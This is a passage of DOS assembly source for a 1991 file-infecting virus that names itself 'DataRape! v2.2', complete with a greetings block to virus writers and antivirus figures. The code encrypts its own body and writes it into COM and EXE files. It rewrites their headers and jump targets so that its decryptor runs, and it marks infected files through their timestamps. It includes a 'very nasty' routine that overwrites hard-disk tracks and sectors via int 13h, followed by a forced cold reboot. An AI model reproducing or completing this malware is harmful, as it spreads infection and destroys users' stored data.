  1599. enc_meth_1:  db         0C0h
  1600.  
  1601.          pop        cx
  1602.  
  1603.          stosb
  1604.  
  1605.          loop       enc_loop                        ; Encrypto
  1606.  
  1607.  
  1608.  
  1609.          mov        dx,offset body
  1610.  
  1611.          mov        cx,offset top_file
  1612.  
  1613.          mov        ah,40h
  1614.  
  1615.          int        21h                             ; Write Body
  1616.  
  1617.  
  1618.  
  1619.          jc         go_no_fuck
  1620.  
  1621.          xor        cx,ax
  1622.  
  1623.          jnz        go_no_fuck
  1624.  
  1625.          mov        dx,cx
  1626.  
  1627.          mov        ax,4200h
  1628.  
  1629.          int        21h
  1630.  
  1631.          cmp        word ptr [top_save],5a4dh
  1632.  
  1633.          je         do_exe
  1634.  
  1635.          mov        byte ptr [top_save],0e9h
  1636.  
  1637.          mov        ax,word ptr [top_save+18h]
  1638.  
  1639.  
  1640.  
  1641. ;****** Below Sets the JMP so to go to the Unencryption Portion of the Virus
  1642.  
  1643. ;****** This Doesn't happen when this is first compiled, an infection
  1644.  
  1645. ;****** Needs to occur
  1646.  
  1647.          
  1648.  
  1649.          add        ax,un_enc-v-3
  1650.  
  1651.  
  1652.  
  1653. ;******
  1654.  
  1655.          
  1656.  
  1657.          mov        word ptr [top_save+1],ax
  1658.  
  1659.          mov        cx,3
  1660.  
  1661.          jmp        short write_header
  1662.  
  1663. go_no_fuck:
  1664.  
  1665.          jmp        short no_fuck_boost
  1666.  
  1667.  
  1668.  
  1669. yes_no:      push       ax
  1670.  
  1671.          mov        ah,2Ch                  ;Get system time
  1672.  
  1673.          int        21h
  1674.  
  1675.          pop        ax                      ;Save AX
  1676.  
  1677.          test       dl,1                    ;Are the 100ths of seconds 1
  1678.  
  1679.          jpe        set_yes                 ;If parity is equal, SET_YES
  1680.  
  1681. set_no:      clc                                ;Clear carry flag
  1682.  
  1683.          ret
  1684.  
  1685. set_yes:     stc                                ;Set carry flag
  1686.  
  1687.          ret
  1688.  
  1689.              jmp        do_exe
  1690.  
  1691.  
  1692.  
  1693. no_fuck_boost:
  1694.  
  1695.               jmp       no_fuck
  1696.  
  1697.  
  1698.  
  1699. ;---
  1700.  
  1701. ; Construct the    .EXE file's header
  1702.  
  1703. ;---    
  1704.  
  1705.   
  1706.  
  1707. do_exe:
  1708.  
  1709.          mov        ax,word ptr [top_save+8]
  1710.  
  1711.          call       mul_16
  1712.  
  1713.      
  1714.  
  1715.          not        ax
  1716.  
  1717.          not        dx
  1718.  
  1719.          inc        ax
  1720.  
  1721.          jne        calc_offs
  1722.  
  1723.          inc        dx
  1724.  
  1725. calc_offs:
  1726.  
  1727.          add        ax,word ptr [top_save+18h]
  1728.  
  1729.          adc        dx,word ptr [top_save+1ah]
  1730.  
  1731.          mov        cx,10h
  1732.  
  1733.          div        cx
  1734.  
  1735.  
  1736.  
  1737. ;****** Below Sets the Calling Address to the Unencryption Portion of the
  1738.  
  1739. ;****** Virus This Doesn't happen when this is first compiled, an infection
  1740.  
  1741. ;****** Needs to occur
  1742.  
  1743.          
  1744.  
  1745.          mov        word ptr [top_save+14h],un_enc-v
  1746.  
  1747.  
  1748.  
  1749. ;******
  1750.  
  1751.          mov        word ptr [top_save+16h],ax
  1752.  
  1753.          add        ax,(offset top_file-offset v-1)/16+1
  1754.  
  1755.          mov        word ptr [top_save+0eh],ax
  1756.  
  1757.          mov        word ptr [top_save+10h],100h
  1758.  
  1759.          add        word ptr [top_save+18h],offset top_file
  1760.  
  1761.          adc        word ptr [top_save+1ah],0
  1762.  
  1763.          mov        ax,word ptr [top_save+18h]
  1764.  
  1765.          and        ax,1ffh
  1766.  
  1767.          mov        word ptr [top_save+2],ax
  1768.  
  1769.          pushf
  1770.  
  1771.          mov        ax,word ptr [top_save+19h]
  1772.  
  1773.          shr        byte ptr [top_save+1bh],1
  1774.  
  1775.          rcr        ax,1
  1776.  
  1777.          popf
  1778.  
  1779.          jz         update_len
  1780.  
  1781.          inc        ax
  1782.  
  1783. update_len:
  1784.  
  1785.          mov        word ptr [top_save+4],ax
  1786.  
  1787.          mov        cx,18h
  1788.  
  1789. write_header:
  1790.  
  1791.          mov        dx,offset top_save
  1792.  
  1793.          mov        ah,40h
  1794.  
  1795.          int        21h
  1796.  
  1797.          pop       dx
  1798.  
  1799.          pop       cx
  1800.  
  1801.          and       cx,0FFE0h
  1802.  
  1803.          or        cx,1Fh
  1804.  
  1805.          jmp       short time_got                   ; Mark Time Stamp
  1806.  
  1807.  
  1808.  
  1809. db    13,10,"Free Flash Force!!!",13,10
  1810.  
  1811.  
  1812.  
  1813. no_fuck:
  1814.  
  1815.          pop        dx
  1816.  
  1817.          pop        cx
  1818.  
  1819. time_got:    popf
  1820.  
  1821.          jc         stop_fuck
  1822.  
  1823.          mov        ax,5701h
  1824.  
  1825.          int        21h
  1826.  
  1827. stop_fuck:
  1828.  
  1829.          ret
  1830.  
  1831.       
  1832.  
  1833. alloc:
  1834.  
  1835.          push       ds
  1836.  
  1837.          call       get_chain
  1838.  
  1839.          mov        byte ptr ds:[0],'M'
  1840.  
  1841.          pop        ds
  1842.  
  1843.          ret
  1844.  
  1845.      
  1846.  
  1847. get_chain:
  1848.  
  1849.          push       ax
  1850.  
  1851.          push       bx
  1852.  
  1853.          mov        ah,62h
  1854.  
  1855.          call       function
  1856.  
  1857.          mov        ax,cs
  1858.  
  1859.          dec        ax
  1860.  
  1861.          dec        bx
  1862.  
  1863. next_blk:
  1864.  
  1865.          mov        ds,bx
  1866.  
  1867.          stc
  1868.  
  1869.          adc        bx,ds:[3]
  1870.  
  1871.          cmp        bx,ax
  1872.  
  1873.          jc         next_blk
  1874.  
  1875.          pop        bx
  1876.  
  1877.          pop        ax
  1878.  
  1879.          ret
  1880.  
  1881.       
  1882.  
  1883. mul_16:
  1884.  
  1885.          mov        dx,10h
  1886.  
  1887.          mul        dx
  1888.  
  1889.          ret
  1890.  
  1891.  
  1892.  
  1893. kill:   call    kill_rel
  1894.  
  1895.  
  1896.  
  1897. kill_rel:
  1898.  
  1899.     pop     si
  1900.  
  1901.     jmp    write_short
  1902.  
  1903.  
  1904.  
  1905. re_do:
  1906.  
  1907.     mov     byte ptr [sector],1             ; Reset sector count to 1
  1908.  
  1909.     inc     byte ptr [track]                ; Increment next track
  1910.  
  1911.     jmp     fuck_drive                      ; Fuck it...
  1912.  
  1913.  
  1914.  
  1915. ;---
  1916.  
  1917. ; This routine is very nasty!!!
  1918.  
  1919. ;---
  1920.  
  1921.  
  1922.  
  1923. write_short:
  1924.  
  1925.     push    cs
  1926.  
  1927.     pop    ds
  1928.  
  1929.     cmp     byte ptr [track],40
  1930.  
  1931.     jae     reboot
  1932.  
  1933.     cmp     byte ptr [sector],9
  1934.  
  1935.     ja      re_do
  1936.  
  1937.  
  1938.  
  1939. fuck_drive:
  1940.  
  1941.     mov     ah,03h                          ; Write disk sectors
  1942.  
  1943.     mov     al,9                            ; Xfer 9 sectors
  1944.  
  1945.     mov     bx,offset header                ; Set for buffer
  1946.  
  1947.     mov     ch,byte ptr [track]             ; Set for track [track]
  1948.  
  1949.     mov     cl,byte ptr [sector]            ; Set for sector [sector]
  1950.  
  1951.     mov     dh,0                            ; Set for head 0
  1952.  
  1953.     mov     dl,2                            ; Set for first fixed drive
  1954.  
  1955.  
  1956.  
  1957.     int     13h
  1958.  
  1959.  
  1960.  
  1961.     inc     byte ptr [sector]
  1962.  
  1963.     jmp     write_short
  1964.  
  1965.  
  1966.  
  1967. ;---
  1968.  
  1969. ; This code will cold boot the CPU with a memory check
  1970.  
  1971. ;---
  1972.  
  1973.  
  1974.  
  1975. reboot:
  1976.  
  1977.     mov    ax,0040h
  1978.  
  1979.     mov    ds,ax
  1980.  
  1981.     mov    ax,07f7fh
  1982.  
  1983.     mov    ds:[0072],ax
  1984.  
  1985. db    0eah,00h,00h,0ffh,0ffh            ; JMP FFFF:0000
  1986.  
  1987.  
  1988.  
  1989. header    db    "------------------",13,10
  1990.  
  1991.     db      "  DataRape! v2.2  ",13,10
  1992.  
  1993.     db      "    By Zodiac     ",13,10
  1994.  
  1995.     db      "and Data Disruptor",13,10
  1996.  
  1997.         db      "                  ",13,10
  1998.  
  1999.     db    "  (c) 1991 RABID  ",13,10
  2000.  
  2001.         db      "Int'nl Development",13,10
  2002.  
  2003.         db      "       Corp.      ",13,10
  2004.  
  2005.     db    "------------------",13,10
  2006.  
  2007.  
  2008.  
  2009. greetings db     13,10
  2010.  
  2011.          db     "Greetings to The Dark Avenger, Tudor Todorov, Patricia Hoffman",13,10
  2012.  
  2013.          db     "(Get your articles correct for a change... Maybe we should write",13,10
  2014.  
  2015.          db     "for you...), John McAfee (Who wouldn't be where he is today if it",13,10
  2016.  
  2017.          db     "were not for people like us...), PCM2 (Get your ass back in gear dude!)",13,10
  2018.  
  2019.          db     "ProTurbo, MadMan, Rick Dangerous, Elrond Halfelven, The Highwayman,",13,10
  2020.  
  2021.          db     "Optical Illusion, The (Real) Gunslinger, Patricia (SMOOCH), The GateKeeper,",13,10
  2022.  
  2023.          db     "Sledge Hammer (Let's hope you don't get hit by this one 3 times), Delko,",13,10
  2024.  
  2025.          db     "Paul 'Jougensen' & Mike 'Hunt' (And whoever else was there to see Chris & Cosy)",13,10
  2026.  
  2027.          db     "the entire Bulgarian virus factory, and any others whom we may have missed...",13,10
  2028.  
  2029.          db     " Remember: Winners don't use drugs! Someone card me a lifesign though...",13,10
  2030.  
  2031.          db     13,10
  2032.  
  2033.          db     "(c) 1991 The RABID International Development Corp."
  2034.  
  2035.  
  2036.  
  2037. call_adr:
  2038.  
  2039.          dd         100h
  2040.  
  2041. stack_pointer:
  2042.  
  2043.          dd         0
  2044.  
  2045. my_save:
  2046.  
  2047.          int        20h
  2048.  
  2049.          nop
  2050.  
  2051.  
  2052.  
  2053. ;**** UnEncryption Below
  2054.  
  2055.  
  2056.  
  2057. un_enc:      call       enc_rel
  2058.  
  2059. enc_rel:     pop        si
  2060.  
  2061. rel_sub:     sub        si,offset enc_rel
  2062.  
  2063.  
  2064.  
  2065. ;---
  2066.  
  2067. ; Note: These are the only bytes which are constant throughout any infection
  2068.  
  2069. ;---
  2070.  
  2071.  
  2072.  
  2073. rel_copy:    mov        di,si
  2074.  
  2075.  
  2076.  
  2077. push_1:      push       si
  2078.  
  2079.  
  2080.  
  2081. push_2_1:    push       ax
  2082.  
  2083.          push       ds
  2084.  
  2085.          push       es
  2086.  
  2087.  
  2088.  
  2089.          push       cs
  2090.  
  2091. pop_1:       pop        ds;-
  2092.  
  2093.  
  2094.  
  2095.          push       cs
  2096.  
  2097. pop_2:       pop        es;-
  2098.  
  2099.  
  2100.  
  2101. ;---
  2102.  
  2103. ; The constant bytes end here. (There are only 10 bytes...)
  2104.  
  2105. ;---
  2106.  
  2107. inc_1:       db         0B2h
  2108.  
  2109.  
  2110.  
  2111. enc_base_2:  db         00h
  2112.  
  2113.          mov        cx,offset un_enc
  2114.  
  2115. un_enc_loop: lodsb
  2116.  
  2117.          push       cx
  2118.  
  2119.          db         88h
  2120.  
  2121. inc_2:       db         0D1h
  2122.  
  2123.  
  2124.  
  2125.          db         0D2h
  2126.  
  2127. enc_meth_2:  db         0C8h
  2128.  
  2129.  
  2130.  
  2131.          db         0FEh
  2132.  
  2133. inc_3:       db         0C2h
  2134.  
  2135.          pop        cx
  2136.  
  2137.          stosb
  2138.  
  2139.          loop       un_enc_loop
  2140.  
  2141.  
  2142.  
  2143.          pop        es
  2144.  
  2145. push_2_2:    pop        ds
  2146.  
  2147.          pop        ax
  2148.  
  2149.          ret
  2150.  
  2151.  
  2152.  
  2153. sector  db      1            ; Count of sectors that have been fried
  2154.  
  2155. track   db      0            ; Count of tracks that have been fried
  2156.  
  2157.  
  2158.  
  2159. top_file:
  2160.  
  2161. save_int_21  equ        $
  2162.  
  2163. save_int_27  equ        save_int_21+4
  2164.  
  2165. filehndl     equ        save_int_27+4
  2166.  
  2167. filename     equ        filehndl+2
  2168.  
  2169. aux_size     equ        filename+65
  2170.  
  2171. top_save     equ        filename+65
  2172.  
  2173. body         equ        top_save+1Ch
  2174.  
  2175. top_bz       equ        top_save-v
  2176.  
  2177. my_bz        equ        top_file-v
  2178.  
  2179. switch_1     equ        enc_rel
  2180.  
  2181. switch_2     equ        rel_sub+1
  2182.  
  2183. switch_3     equ        rel_copy+1
  2184.  
  2185.  
  2186.  
  2187. ;dta          equ        aux_size
  2188.  
  2189. ; dta_attr    equ        dta+21
  2190.  
  2191. ; dta_time    equ        dta+22
  2192.  
  2193. ; dta_date    equ        dta+24
  2194.  
  2195. ; dta_size_lo equ        dta+26
  2196.  
  2197. ; dta_size_hi equ        dta+28
  2198.  
  2199. ; dta_name    equ        dta+30
  2200.  
  2201. ;
  2202.  
  2203.  
  2204.  
  2205. code    ends
  2206.  
  2207.          end
  2208.  
  2209.  
  2210.  
  2211. ;--
  2212.  
  2213. ; End of virus
  2214.  
  2215. ;--
  2216.  
  2217.